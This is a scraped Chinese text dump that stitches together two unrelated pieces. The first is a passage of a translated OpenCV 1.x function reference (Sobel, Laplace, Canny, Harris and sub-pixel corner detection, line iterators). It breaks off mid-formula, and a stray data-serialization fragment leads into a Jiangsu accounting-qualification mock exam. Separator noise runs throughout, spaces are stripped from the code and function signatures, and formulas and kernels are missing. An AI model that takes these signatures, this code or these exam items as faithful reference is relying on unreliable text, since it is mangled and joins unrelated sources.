@#@@#@由于Sobel算子结合了Gaussian平滑和微分,所以,其结果或多或少对噪声有一定的鲁棒性。
@#@通常情况,函数调用采用如下参数(xorder=1,yorder=0,aperture_size=3)或(xorder=0,yorder=1,aperture_size=3)来计算一阶x-或y-方向的图像差分。
@#@第一种情况对应:
@#@@#@核。
@#@@#@第二种对应:
@#@@#@或者@#@核的选则依赖于图像原点的定义(origin来自IplImage结构的定义)。
@#@由于该函数不进行图像尺度变换,所以和输入图像(数组)相比,输出图像(数组)的元素通常具有更大的绝对数值(译者注:
@#@即像素的位深)。
@#@为防止溢出,当输入图像是8位的,要求输出图像是16位的。
@#@当然可以用函数cvConvertScale或cvConvertScaleAbs转换为8位的。
@#@除了8-位图像,函数也接受32-位浮点数图像。
@#@所有输入和输出图像都必须是单通道的,并且具有相同的图像尺寸或者ROI尺寸。
@#@@#@Laplace@#@计算图像的Laplacian变换@#@voidcvLaplace(constCvArr*src,CvArr*dst,intaperture_size=3);@#@@#@src@#@输入图像.@#@dst@#@输出图像.@#@aperture_size@#@核大小(与cvSobel中定义一样).@#@函数cvLaplace计算输入图像的Laplacian变换,方法是先用sobel算子计算二阶x-和y-差分,再求和:
@#@@#@对aperture_size=1则给出最快计算结果,相当于对图像采用如下内核做卷积:
@#@@#@类似于cvSobel函数,该函数也不作图像的尺度变换,所支持的输入、输出图像类型的组合和cvSobel一致。
@#@@#@Canny@#@采用Canny算法做边缘检测@#@voidcvCanny(constCvArr*image,CvArr*edges,doublethreshold1,@#@doublethreshold2,intaperture_size=3);@#@@#@image@#@单通道输入图像.@#@edges@#@单通道存储边缘的输出图像@#@threshold1@#@第一个阈值@#@threshold2@#@第二个阈值@#@aperture_size@#@Sobel算子内核大小(见cvSobel).@#@函数cvCanny采用CANNY算法发现输入图像的边缘而且在输出图像中标识这些边缘。
@#@threshold1和threshold2当中的小阈值用来控制边缘连接,大的阈值用来控制强边缘的初始分割。
@#@@#@∙注意事项:
@#@cvCanny只接受单通道图像作为输入。
@#@@#@∙外部链接:
@#@经典的canny自调整阈值算法的一个opencv的实现见在OpenCV中自适应确定canny算法的分割门限@#@PreCornerDetect@#@计算用于角点检测的特征图,@#@voidcvPreCornerDetect(constCvArr*image,CvArr*corners,intaperture_size=3);@#@@#@image@#@输入图像.@#@corners@#@保存候选角点的特征图@#@aperture_size@#@Sobel算子的核大小(见cvSobel).@#@函数cvPreCornerDetect计算函数@#@其中D表示一阶图像差分,@#@表示二阶图像差分。
@#@角点被认为是函数的局部最大值:
@#@@#@//假设图像格式为浮点数@#@IplImage*corners=cvCloneImage(image);@#@@#@IplImage*dilated_corners=cvCloneImage(image);@#@@#@IplImage*corner_mask=cvCreateImage(cvGetSize(image),8,1);@#@@#@cvPreCornerDetect(image,corners,3);@#@@#@cvDilate(corners,dilated_corners,0,1);@#@@#@cvSubS(corners,dilated_corners,corners);@#@@#@cvCmpS(corners,0,corner_mask,CV_CMP_GE);@#@@#@cvReleaseImage(&@#@corners);@#@@#@cvReleaseImage(&@#@dilated_corners);@#@@#@CornerEigenValsAndVecs@#@计算图像块的特征值和特征向量,用于角点检测@#@voidcvCornerEigenValsAndVecs(constCvArr*image,CvArr*eigenvv,@#@intblock_size,intaperture_size=3);@#@@#@image@#@输入图像.@#@eigenvv@#@保存结果的数组。
@#@必须比输入图像宽6倍。
@#@@#@block_size@#@邻域大小(见讨论).@#@aperture_size@#@Sobel算子的核尺寸(见cvSobel).@#@对每个象素,函数cvCornerEigenValsAndVecs考虑block_size×@#@block_size大小的邻域S(p),然后在邻域上计算图像差分的相关矩阵:
@#@@#@然后它计算矩阵的特征值和特征向量,并且按如下方式(λ1,λ2,x1,y1,x2,y2)存储这些值到输出图像中,其中@#@λ1,λ2-M的特征值,没有排序@#@(x1,y1)-特征向量,对λ1@#@(x2,y2)-特征向量,对λ2@#@CornerMinEigenVal@#@计算梯度矩阵的最小特征值,用于角点检测@#@voidcvCornerMinEigenVal(constCvArr*image,@#@CvArr*eigenval,intblock_size,intaperture_size=3);@#@@#@image@#@输入图像.@#@eigenval@#@保存最小特征值的图像.与输入图像大小一致@#@block_size@#@邻域大小(见讨论cvCornerEigenValsAndVecs).@#@aperture_size@#@Sobel算子的核尺寸(见cvSobel).当输入图像是浮点数格式时,该参数表示用来计算差分固定的浮点滤波器的个数.@#@函数cvCornerMinEigenVal与cvCornerEigenValsAndVecs类似,但是它仅仅计算和存储每个象素点差分相关矩阵的最小特征值,即前一个函数的min(λ1,λ2)@#@CornerHarris@#@哈里斯(Harris)角点检测@#@voidcvCornerHarris(constCvArr*image,CvArr*harris_responce,@#@intblock_size,intaperture_size=3,doublek=0.04);@#@@#@image@#@输入图像。
@#@@#@harris_responce@#@存储哈里斯(Harris)检测responces的图像。
@#@与输入图像等大。
@#@@#@block_size@#@邻域大小(见关于cvCornerEigenValsAndVecs的讨论)。
@#@@#@aperture_size@#@扩展Sobel核的大小(见cvSobel)。
@#@格式.当输入图像是浮点数格式时,该参数表示用来计算差分固定的浮点滤波器的个数。
@#@@#@k@#@harris检测器的自由参数。
@#@参见下面的公式。
@#@@#@函数cvCornerHarris对输入图像进行Harris边界检测。
@#@类似于cvCornerMinEigenVal和cvCornerEigenValsAndVecs。
@#@对每个像素,在block_size*block_size大小的邻域上,计算其2*2梯度共变矩阵(或相关异变矩阵)M。
@#@然后,将@#@det(M)-k*trace(M)2(这里2是平方)@#@保存到输出图像中。
@#@输入图像中的角点在输出图像中由局部最大值表示。
@#@@#@FindCornerSubPix@#@精确角点位置@#@voidcvFindCornerSubPix(constCvArr*image,CvPoint2D32f*corners,@#@intcount,CvSizewin,CvSizezero_zone,@#@CvTermCriteriacriteria);@#@@#@image@#@输入图像.@#@corners@#@输入角点的初始坐标,也存储精确的输出坐标@#@count@#@角点数目@#@win@#@搜索窗口的一半尺寸。
@#@如果win=(5,5)那么使用5*2+1×@#@5*2+1=11×@#@11大小的搜索窗口@#@zero_zone@#@死区的一半尺寸,死区为不对搜索区的中央位置做求和运算的区域。
@#@它是用来避免自相关矩阵出现的某些可能的奇异性。
@#@当值为(-1,-1)表示没有死区。
@#@@#@criteria@#@求角点的迭代过程的终止条件。
@#@即角点位置的确定,要么迭代数大于某个设定值,或者是精确度达到某个设定值。
@#@criteria可以是最大迭代数目,或者是设定的精确度,也可以是它们的组合。
@#@@#@函数cvFindCornerSubPix通过迭代来发现具有子象素精度的角点位置,或如图所示的放射鞍点(radialsaddlepoints)。
@#@@#@子象素级角点定位的实现是基于对向量正交性的观测而实现的,即从中央点q到其邻域点p的向量和p点处的图像梯度正交(服从图像和测量噪声)。
@#@考虑以下的表达式:
@#@@#@εi=DIpiT•(q-pi)@#@其中,DIpi表示在q的一个邻域点pi处的图像梯度,q的值通过最小化εi得到。
@#@通过将εi设为0,可以建立系统方程如下:
@#@@#@sumi(DIpi•DIpiT)•q-sumi(DIpi•DIpiT•pi)=0@#@其中q的邻域(搜索窗)中的梯度被累加。
@#@调用第一个梯度参数G和第二个梯度参数b,得到:
@#@@#@q=G-1•b@#@该算法将搜索窗的中心设为新的中心q,然后迭代,直到找到低于某个阈值点的中心位置。
@#@@#@GoodFeaturesToTrack@#@确定图像的强角点@#@voidcvGoodFeaturesToTrack(constCvArr*image,CvArr*eig_image,CvArr*temp_image,@#@CvPoint2D32f*corners,int*corner_count,@#@doublequality_level,doublemin_distance,@#@constCvArr*mask=NULL);@#@@#@image@#@输入图像,8-位或浮点32-比特,单通道@#@eig_image@#@临时浮点32-位图像,尺寸与输入图像一致@#@temp_image@#@另外一个临时图像,格式与尺寸与eig_image一致@#@corners@#@输出参数,检测到的角点@#@corner_count@#@输出参数,检测到的角点数目@#@quality_level@#@最大最小特征值的乘法因子。
@#@定义可接受图像角点的最小质量因子。
@#@@#@min_distance@#@限制因子。
@#@得到的角点的最小距离。
@#@使用Euclidian距离@#@mask@#@ROI:
@#@感兴趣区域。
@#@函数在ROI中计算角点,如果mask为NULL,则选择整个图像。
@#@必须为单通道的灰度图,大小与输入图像相同。
@#@mask对应的点不为0,表示计算该点。
@#@@#@函数cvGoodFeaturesToTrack在图像中寻找具有大特征值的角点。
@#@该函数,首先用cvCornerMinEigenVal计算输入图像的每一个象素点的最小特征值,并将结果存储到变量eig_image中。
@#@然后进行非最大值抑制(仅保留3x3邻域中的局部最大值)。
@#@下一步将最小特征值小于quality_level•max(eig_image(x,y))排除掉。
@#@最后,函数确保所有发现的角点之间具有足够的距离,(最强的角点第一个保留,然后检查新的角点与已有角点之间的距离大于min_distance)。
@#@@#@采样、插值和几何变换@#@InitLineIterator@#@初始化线段迭代器@#@intcvInitLineIterator(constCvArr*image,CvPointpt1,CvPointpt2,@#@CvLineIterator*line_iterator,intconnectivity=8);@#@@#@image@#@带采线段的输入图像.@#@pt1@#@线段起始点@#@pt2@#@线段结束点@#@line_iterator@#@指向线段迭代器状态结构的指针@#@connectivity@#@被扫描线段的连通数,4或8.@#@函数cvInitLineIterator初始化线段迭代器,并返回两点之间的象素点数目。
@#@两个点必须在图像内。
@#@当迭代器初始化后,连接两点的光栅线上所有点,都可以连续通过调用CV_NEXT_LINE_POINT来得到。
@#@线段上的点是使用4-连通或8-连通利用Bresenham算法逐点计算的。
@#@@#@例子:
@#@使用线段迭代器计算彩色线上象素值的和@#@CvScalarsum_line_pixels(IplImage*image,CvPointpt1,CvPointpt2)@#@{@#@CvLineIteratoriterator;@#@@#@intblue_sum=0,green_sum=0,red_sum=0;@#@@#@intcount=cvInitLineIterator(image,pt1,pt2,&@#@iterator,8);@#@@#@for(inti=0;@#@i<@#@count;@#@i++){@#@blue_sum+=iterator.ptr[0];@#@@#@green_sum+=iterator.ptr[1];@#@@#@red_sum+=iterator.ptr[2];@#@@#@CV_NEXT_LINE_POINT(iterator);@#@@#@/*printthepixelcoordinates:
@#@demonstrateshowtocalculatethecoordinates*/@#@{@#@intoffset,x,y;@#@@#@/*assumethatROIisnotset,otherwiseneedtotakeitintoaccount.*/@#@offset=iterator.ptr-(uchar*)(image->@#@imageData);@#@@#@y=offset/image->@#@widthStep;@#@@#@x=(offset-y*image->@#@widthStep)/(3*sizeof(uchar)/*sizeofpixel*/);@#@@#@printf("@#@(%d,%d)\n"@#@,x,y);@#@@#@}@#@}@#@returncvScalar(blue_sum,green_sum,red_sum);@#@@#@}@#@SampleLine@#@将图像上某一光栅线上的像素数据读入缓冲区@#@intcvSampleLine(constCvArr*image,CvPointpt1,CvPointpt2,@#@void*buffer,intconnectivity=8);@#@@#@image@#@输入图像@#@pt1@#@光栅线段的起点@#@pt2@#@光栅线段的终点@#@buffer@#@存储线段点的缓存区,必须有足够大小来存储点max(|pt2.x-pt1.x|+1,|pt2.y-pt1.y|+1):
@#@8-连通情况下,或者|pt2.x-pt1.x|+|pt2.y-pt1.y|+1:
@#@4-连通情况下.@#@connectivity@#@线段的连通方式,4or8.@#@函数cvSampleLine实现了线段迭代器的一个特殊应用。
@#@它读取由pt1和pt2两点确定的线段上的所有图像点,包括终点,并存储到缓存中。
@#@@#@GetRectSubPix@#@从图像中提取象素矩形,使用子象素精度@#@voidcvGetRectSubPix(constCvArr*src,CvArr*dst,CvPoint2D32fcenter);@#@@#@src@#@输入图像.@#@dst@#@提取的矩形.@#@center@#@提取的象素矩形的中心,浮点数坐标。
@#@中心必须位于图像内部.@#@函数cvGetRectSubPix从图像src中提取矩形:
@#@@#@dst(x,y)=src(x+center.x-(width(dst)-1)*0.5,y+center.y-(height(dst)-1)*0.5)@#@其中非整数象素点坐标采用双线性插值提取。
@#@对多通道图像,每个通道独立单独完成提取。
@#@尽管函数要求矩形的中心一定要在输入图像之中,但是有可能出现矩形的一部分超出图像边界的情况,这时,该函数复制边界的模识(hunnish:
@#@即用于矩形相交的图像边界线段的象素来代替矩形超越部分的象素)。
@#@@#@GetQuadrangleSubPix@#@提取象素四边形,使用子象素精度@#@voidcvGetQuadrangleSubPix(constCvArr*src,CvArr*dst,constCvMat*map_matrix);@#@@#@src@#@输入图像.@#@dst@#@提取的四边形.@#@map_matrix@#@3×@#@2变换矩阵[A|b](见讨论).@#@函数cvGetQuadrangleSubPix以子象素精度从图像src中提取四边形,使用子象素精度,并且将结果存储于dst,计算公式是:
@#@@#@dst(x+width(dst)/2,";i:
4;s:
42010:
"江苏省会计从业资格《会计基础》模拟试题@#@江苏省2009年会计从业资格《会计基础》期末晚090302班模拟试题@#@一、单项选择题(下列每小题备选答案中,只有一个符合题意的正确答案。
@#@本类题共20分,每小题1分。
@#@多选、错选、不选均不得分。
@#@)@#@1、不属于流动资产的是( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A、存货 @#@ @#@ @#@ @#@ @#@ @#@B、库存现金 @#@ @#@ @#@ @#@ @#@ @#@C、应收账款 @#@ @#@ @#@ @#@ @#@ @#@D、长期股权投资@#@2、甲公司为一般纳税人,2007年10月29日从外地购入A材料23吨,货款20000元,增值税款3400元,并以现金支付运费1500元。
@#@@#@假定运费可以按照7%的扣除率计算进项税额,则A材料的采购成本为( @#@ @#@ @#@ @#@ @#@)元。
@#@@#@A.20000 @#@ @#@ @#@ @#@ @#@ @#@B.21500 @#@ @#@ @#@ @#@ @#@ @#@C.21395 @#@ @#@ @#@ @#@ @#@ @#@D.23400 @#@ @#@ @#@ @#@@#@3、在清查中发现库存现金短缺时,应贷记( @#@ @#@ @#@ @#@ @#@)科目。
@#@A、待处理财产损溢 @#@ @#@ @#@ @#@B、库存现金 @#@ @#@ @#@ @#@C、其他应收款 @#@ @#@ @#@D、管理费用@#@4、借贷记账法的理论依据是( @#@ @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A.资产=负债+所有者权益 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B.收入一费用=利润@#@C.借方发生额=贷方发生额 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@D.期初余额+本期增加数一本期减少数=期末余额@#@5、乙公司购入小汽车一辆供管理部门使用,增值税专用发票中注明货款为300000元,增值税51000元,款项已用银行存款支付。
@#@此项业@#@务的正确会计分录是( @#@ @#@ @#@ @#@ @#@)。
@#@@#@A、借:
@#@库存商品 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@300000 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B、借:
@#@固定资产 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@300000@#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费—应交增值税(进项税额) @#@51000 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费—应交增值税(进项税额) @#@ @#@ @#@ @#@51000@#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@351000 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@351000@#@C、借:
@#@材料采购 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@300000 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@D、借:
@#@固定资产 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@351000@#@ @#@ @#@ @#@ @#@ @#@ @#@应交税费—应交增值税(进项税额) @#@51000 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@351000@#@ @#@ @#@ @#@ @#@ @#@ @#@贷:
@#@银行存款 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@351000@#@6、直接参加产品生产工人的职工薪酬应计入( @#@ @#@ @#@ @#@ @#@)科目。
@#@A、生产成本 @#@ @#@ @#@ @#@ @#@ @#@B、制造费用 @#@ @#@ @#@ @#@ @#@ @#@C、管理费用 @#@ @#@ @#@ @#@ @#@ @#@ @#@D、生产费用@#@7、费用的确认可能会引起( @#@ @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A.资产减少 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B.资产增加 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@C.负债减少 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@D.所有者权益增加@#@8、资产负债表中所有者权益各项目自上而下的排列顺序是( @#@ @#@ @#@ @#@ @#@)。
@#@@#@A、盈余公积、资本公积、未分配利润、实收资本 @#@ @#@ @#@ @#@ @#@ @#@ @#@B、实收资本、盈余公积、资本公积、未分配利润@#@C、资本公积、盈余公积、未分配利润、实收资本 @#@ @#@ @#@ @#@ @#@ @#@ @#@D、实收资本、资本公积、盈余公积、未分配利润@#@9、当新投资者加入有限责任公司时,其出资额大于按约定比例计算的、在注册资本中所占的份额部分,应计入( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@@#@A、实收资本 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B、营业外收入 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@C、资本公积 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@D、盈余公积@#@10、不属于其他业务收入的是( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A、罚款利得 @#@ @#@ @#@ @#@ @#@ @#@B、专利技术使用权转让收入 @#@ @#@ @#@ @#@ @#@C、包装物出租收入 @#@ @#@ @#@D、材料销售收入@#@11、会计账户划分为左右两个基本部分,一部分反映增加,另一部分反映减少,这取决于账户的( @#@ @#@)A.性质B.方向C.余额D.结构@#@12、经济业务发生或完成时取得或填制的凭证是( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A、原始凭证 @#@ @#@ @#@ @#@ @#@B、记账凭证 @#@ @#@ @#@ @#@ @#@C、收款凭证 @#@ @#@ @#@ @#@ @#@D、付款凭证@#@13、错账的更正方法不包括( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A、划线更正法 @#@ @#@ @#@ @#@ @#@ @#@B、蓝字更正法 @#@ @#@ @#@ @#@C、红字更正法 @#@ @#@ @#@ @#@ @#@D、补充登记法@#@14、清查往来款项应采用的方法是( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A、实地盘点法 @#@ @#@ @#@ @#@ @#@B、发函询证法 @#@ @#@ @#@ @#@ @#@C、技术推算法 @#@ @#@ @#@ @#@ @#@D、抽查法@#@15、企业会计核算的基础是( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A、收付实现制 @#@ @#@ @#@ @#@ @#@ @#@B、永续盘存制 @#@ @#@ @#@ @#@ @#@C、权责发生制 @#@ @#@ @#@ @#@ @#@D、实地盘存制@#@16、丙公司购买甲材料200公斤,单价90元,增值税进项税额3060元,另支付运杂费800元。
@#@材料已全部验收入库,则丙公司验收入库甲@#@材料的实际采购成本是( @#@ @#@ @#@ @#@ @#@ @#@)元。
@#@ @#@ @#@ @#@ @#@A、18000 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B、21060 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@C、18800 @#@ @#@ @#@ @#@ @#@ @#@ @#@D、21860 @#@ @#@ @#@ @#@@#@17、丁公司向银行借入为期14个月的借款,应贷记( @#@ @#@)科目。
@#@A、短期借款 @#@ @#@ @#@ @#@B、长期借款 @#@ @#@ @#@ @#@C、银行存款 @#@ @#@ @#@ @#@D、长期应付款@#@18、年末结账时,应在“本年累计”行下划( @#@ @#@ @#@ @#@)。
@#@A、通栏单红线 @#@ @#@ @#@ @#@B、通栏双红线 @#@ @#@ @#@ @#@C、半栏单红线 @#@ @#@ @#@ @#@D、半栏双红线@#@19、记账凭证的主要作用是对原始凭证进行分类整理,按照复式记账的要求,运用会计科目,编制会计分录,据以( @#@ @#@ @#@ @#@ @#@)。
@#@@#@A、归纳汇总 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B、详细审核 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@C、登记账薄 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@D、金额计算@#@20、固定资产明细账一般采用( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@ @#@A、平行式账薄 @#@ @#@ @#@ @#@ @#@ @#@B、活页式账薄 @#@ @#@ @#@ @#@ @#@ @#@C、订本式账薄 @#@ @#@ @#@ @#@D、卡片式账薄@#@二、多项选择题(下列每小题备选答案中,有两个或两个以上符合题意的正确答案。
@#@请将选定答案编号。
@#@本类题共20分,每小题1分。
@#@)@#@1、负债按流动性可分为( @#@ @#@ @#@ @#@ @#@)。
@#@A、流动负债 @#@ @#@ @#@ @#@ @#@ @#@ @#@B、短期负债 @#@ @#@ @#@ @#@ @#@ @#@ @#@C、非流动负债 @#@ @#@ @#@ @#@D、长期负债@#@2、期末结转后无余额的账户有( @#@ @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A、实收资本 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B、主营业务成本 @#@ @#@ @#@ @#@C、库存商品 @#@ @#@ @#@ @#@ @#@D、销售费用@#@3、在会计实务中,除以下( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)情况外,一般不得使用红色墨水。
@#@@#@A、结账时划线;@#@ @#@ @#@B、表示冲减的数额;@#@ @#@C、采用划线更正法进行错账更正时;@#@ @#@ @#@D、在不设借、贷方向的账页中表示反方向发生额;@#@@#@4、关于实地盘存制,下列各观点中正确的是( @#@ @#@ @#@ @#@ @#@ @#@ @#@)A、可以简化存货的日常核算工作 @#@ @#@ @#@ @#@ @#@ @#@B、不利于对存货加强实物日常管理@#@C、期末通过实地盘点实物来确定发出存货数量 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@D、不能够随时反映存货的发出和结存动态@#@5、下列表述中正确的有( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A、资产负债表是动态报表 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B、利润表是动态报表@#@C、现金流量表是动态报表 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@D、会计报表附注是对会计报表项目的补充说明@#@6、不会影响借贷双方平衡关系的记账错误有( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@@#@A、从开户银行提取现金500元,记账时重复登记一次 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B、收到现金100元,但没有登记入账@#@C、收到某公司偿还欠款的转账支票5000元,但会计分录的借方科目错记为“现金”@#@D、到开户银行存入现金1000元,但编制记账凭证时误为“借记现金,贷记银行存款”@#@7、在下列各项中,会导致企业银行存款日记账余额小于银行对账单余额的事项有( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@@#@A、企业开出支票,收款方尚未到银行兑现 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B、银行误将其他企业的存款记入本企业存款户@#@C、银行代扣本企业水电费,企业尚未接到付款通知 @#@ @#@ @#@ @#@ @#@ @#@ @#@D、银行收到委托收款结算方式下的结算款项,企业尚未收到收款通知@#@8、“待处理财产损益”账户借方登记的内容有( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)。
@#@@#@ @#@A.待批准处理的财产盘亏、毁损 @#@ @#@ @#@ @#@ @#@B.经批准转销的财产盘亏、毁损 @#@ @#@ @#@C.经批准处理的财产盘 @#@ @#@ @#@D.待批准转销的财产盘盈@#@9、领用原材料的会计分录通常涉及的借方科目有( @#@ @#@ @#@ @#@ @#@ @#@)。
@#@A、生产成本 @#@ @#@ @#@ @#@ @#@ @#@B、管理费用 @#@ @#@ @#@ @#@ @#@ @#@ @#@C、制造费用 @#@ @#@ @#@ @#@ @#@ @#@D、财务费用@#@10、不必进行会计处理的经济业务有( @#@)A、用盈余公积转增资本 @#@ @#@ @#@B、取得股票股利 @#@ @#@ @#@C、用税前利润弥补亏损D、用税后利润弥补亏损@#@11、下列费用中,应作为营业费用处理的有( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)A、非专设销售机构人员工资 @#@ @#@ @#@ @#@ @#@B、销售产品过程中发生的运杂费@#@C、专设销售机构的折旧费 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@D、业务招待费@#@12、下列各项中,应计入材料采购成本的有( @#@ @#@ @#@ @#@)。
@#@A、买价 @#@ @#@ @#@B、采购费用、运输途中责任人丢失 @#@ @#@D、厂部供销科采购人员工资@#@13、应计入“管理费用”账户借方的有( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)。
@#@@#@A.经批准转销的存货定额内损耗B.专设销售机构人员的工资C.经批准转销的盘盈存货成本D.经批准转销的因计量差错造成的存货短缺@#@14、对于预收货款的会计处理,下列做法中可以选择采用的有( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)。
@#@@#@ @#@A.单独设“预收账款”账户,预收货款时记入其贷方 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B.不单设“预收账款”账户,预收货款时记入“应付账款”账户的贷方@#@C不单设“预收账款”账户,预收货款时记入“应收账款账户的贷方D不单设“预收账款”账户,预收货款时记入其他应收款”账户的贷方@#@15、下列观点正确的是( @#@ @#@ @#@ @#@ @#@ @#@ @#@)A、总账提供总括核算资料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@B、总账应根据明细账的资料进行登记@#@C、明细账提供详细具体的核算资料 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@D、总账一般采用订本式账簿@#@16、下列业务属于会计事项的是( @#@)A、用银行存款购买材料B、生产产品领用材料C、企业自制材料入库D、企业与外单位签订购货合同@#@17、会计分录的基本内容有( )A、应记账户的名称 B、应记账户的方向 @#@ @#@ @#@ @#@ @#@C、应记入账的金额 D、应记入账的时间@#@18、下列各项目中,属于账账核对的是()A、总分类账与所属明细分类账核对B本单位应收、应付款项明细账与债权债务单位相关账项核对@#@ @#@C、银行存款日记账余额与银行存款总账余额的核对 @#@ @#@ @#@ @#@ @#@ @#@D、会计部门财产物资明细分类账与保管部门财产物资明细分类账之间的核对@#@19.对于一般纳税企业.构成固定资产价值的项目有( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)。
@#@@#@A.购买固定资产支付的关税 @#@B.建造期间发生的借款利息 @#@ @#@ @#@C.建造固定资产耗用自产产品的生产成本 @#@ @#@D.购买固定资产支付的增值税;@#@@#@20.关于原始凭证,下列说法正确的有( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)@#@A、原始凭证一律不能作为记账的直接依据;@#@ @#@ @#@ @#@ @#@B、审核无误的原始凭证可以作为编制记账凭证的依据;@#@@#@C、审核无误的原始凭证可能作为登记明细账的直接依据;@#@@#@D、自制的原始凭证都是一次凭证,外来原始凭证可能是一次凭证、也可能是累计凭证;@#@@#@三、判断题(本类题共10分,每小题0.5分。
@#@判断结果错误、不判断的均不得分。
@#@)@#@1、资产是企业拥有或控制的具有实物形态的经济资源,该资源预期会给企业带来未来经济利益。
@#@( @#@)@#@2、收入、费用和利润三项会计要素表现相对静止状态的资金运动,能够反映企业的财务状况。
@#@( @#@ @#@)@#@3、分类账是会计账薄的主体,是编制会计报表的主要依据。
@#@( @#@ @#@)@#@4、明细账户应根据总账账户设置。
@#@( @#@ @#@ @#@)@#@5、复合会计分录应由几个简单会计分录合并而成。
@#@( @#@ @#@ @#@)@#@6、对于将现金存入银行或者从银行提取现金的业务,为避免重复记账,一般只编制付款凭证,不编制收款凭证。
@#@( @#@ @#@ @#@)@#@7、固定资产是指为生产产品、提供劳务、出租或经营管理而持有的,使用期限超过一年、单位价值较高的资产。
@#@( @#@ @#@ @#@)@#@8、在特定情况下,原始凭证经批准可以涂改、挖补。
@#@( @#@ @#@ @#@)@#@9、采用划线更正法时,应仅仅划去错误的文字或数字并更正为正确的文字或数字。
@#@( @#@ @#@ @#@)@#@10、科目汇总表账务处理程序只适用于经济业务不太复杂的小型企业。
@#@( @#@ @#@ @#@)@#@11、将于一年内到期的非流动负债,在资产负债表中应作为流动负债单独列示。
